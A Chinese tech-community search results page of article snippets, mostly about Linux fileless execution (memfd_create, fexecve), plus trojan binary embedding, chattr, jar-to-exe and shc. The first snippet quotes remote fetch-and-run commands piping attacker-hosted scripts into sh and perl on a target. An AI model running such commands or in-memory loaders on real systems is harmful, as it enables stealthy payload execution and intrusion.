首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

Linux文件渗透执行ELF

exe抓样本等,但是攻击者是否会通过某种类似于curl http://attacker.com/1.sh | sh的方法来执行elf二进制文件呢?...02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...memfd_create()调用时需要传入两个参数,一个是文件名,一个是MFD_CLOEXEC标志(类似于O_CLOEXEC),以便当我们执行ELF二进制文件时,我们得到的文件描述符将被自动关闭。...这里还有一个问题,如何将elf二进制文件写入到创建的文件当中,@MagisterQuis这里使用open函数将$FH内容添加进创建的匿名文件$fd当中,而$FH通过perl转化自要执行的elf文件,这就是该脚本的第二部分...第三部分就是执行文件了,调用exec函数执行该匿名文件 ? 这里我们最后的EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?

5.5K80

linux文件执行— fexecve 揭秘

继续2020年的flag,至少每周更一篇文章,今天讲linux文件执行。...无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux文件执行的技巧,是后台朋友给我的提醒,万分感谢,又学到了新的东西。...linux文件执行,首先要提到两个函数:memfd_create 和 fexecve。...memfd_create 和 fexecve 1 . memfd_create:允许我们在内存中创建一个文件,但是它在内存中的存储并不会被映射到文件系统中,至少,如果映射了,我是没找到,因此不能简单的通过...将ls 命令文件写入到wurstverschwendung文件 通过fexecve执行wurstverschwendung文件,因为/dev/shm在内存中,因此fexecve实际上是在内存中执行文件

4.5K40

linux中还有root不能删除的文件?

Linux和类Unix操作系统默认都有root账号,默认情况下root可以修改系统上所有目录和文件的帐户或用户名。在本文将展示如何使Linux中的root用户也无法删除目录或文件。...要使文件不可被任何系统用户(包括 root 用户)删除,需要使用chattr命令使其不可修改。此命令更改Linux文件系统上的文件属性。...如何在Linux中使文件不可删除 下面的命令使/rumenz/passwd文件不可变(或不可删除)。这意味着不能以任何方式修改文件:不能删除或重命名。...你甚至无法创建指向它的链接,也无法将数据写入文件。...y rm: cannot remove ‘passwd’: Operation not permitted 如何在Linux中使目录和下面的所有子目录都不能被删除 使用-R参数,你可以递归地更改目录的属性及其内容

3.1K10

二进制文件加入VC资源后释放执行

一个exe文件怎么生出另一个exe文件?    ...一般的木马生成、木马释放都使用的这个方法,dll也可以加到资源中,这样我们的程序就可以免去包含很多乱七八糟的二进制文件,一个exe就够了,执行的时候再释放。    ...其实原理很简单,把二进制文件导入到资源中。我们就以vs2010为例:     0x01    在VC的资源视图中选择添加资源 - 导入,选择你要包含的exe ?    ...0x02    包含以后,会看到你选择的文件已经以二进制的形式展现在你面前: ?    ...0x03    来到代码编辑区,我们在需要使用这个exe文件的时候,从资源里拿出这段二进制代码,写入内存或一个磁盘文件就行了。

1.4K41

java生成exe可执行文件的条件_不能运行exe文件

三、将jar文件转化为EXE文件 1....4.点击next,根据自己的应用类别进行选择,并填入可执行文件的名称。其余选项可根据自己的需要进行设置。 生成的EXE默认是在32位的JDK环境先运行。...四、可能遇到的问题 1.执行EXE文件时提示java.lang.NoClassDefFoundError 这是由于你程序中有引用到第三方的jar包,而生成EXE文件时没有将其关联起来。...执行EXE文件时提示java.lang.UnsatisfiedLinkError 这是由于程序中引用到的jar包中,有通过JNI机制去调用到一些dll文件中的方法,而在配置生成EXE的过程中没有指定...执行EXE文件时提示java.lang.UnsupportedClassVersionError 这个一般是由于运行时JDK版本与开发的JDK版本不一致导致(比如你开发时用的是64位的JDK,而在其它电脑上运行时

2.9K20

linux版流媒体服务器报“无法执行二进制文件”错误解决的办法

为了满足不同的开发人员的使用系统习惯,我们也开发了两套版本:windows版和linux版,两者都可直接下载使用。 ?...有的用户反应从官网上面下载的EasyNVR在他们自己的linux服务器中无法运行,并且报“无法执行二进制文件”错误,如下图: ?...在linux系统中,32位操作系统运行64位的程序就会出现编译不了的情况。 ? 如何得知自己的系统是32位还是64位?...这里我们也一并说一下,在linux终端中,输入getconf LONG_BIT,查看返回信息,返回是32就是32位系统,而目前我们流媒体服务器不支持32位系统,需要重新编译64位的操作系统,才能正常使用

2.5K20

Linux下创建可执行bin安装文件

我们将脚本和安装介质上传到生产环境,然后通过执行脚本来完成安装。如果能够将这两个文件合并为一个可执行文件,那安装的过程就更简单明了。 2、代码保护。...2、对于第二个隐藏代码内容的需求,有一款工具叫做 shc ,可以用它来将脚本编程二进制文件。 shc的用法比较简单,下载后make生成可执行文件,然后直接对脚本进行加密,会生成两个文件。...一个以.x结尾,为可执行二进制文件。另一个以.x.c结尾,为生成的中间c文件。shc还能指定可执行脚本的过期时间。.../shc -f install-rpm.bin 通过 shc 可以将脚本文件编译成二进制文件,隐藏了脚本的内容,对于一般的用户是没办法查看和修改的。...参考资料: 1、Linux .bin安装文件制作 2、dos2unix 3、linux下制作二进制bin 文件制做方法 4、shc 5、How to Encrypt Your Bash Shell

9K20
领券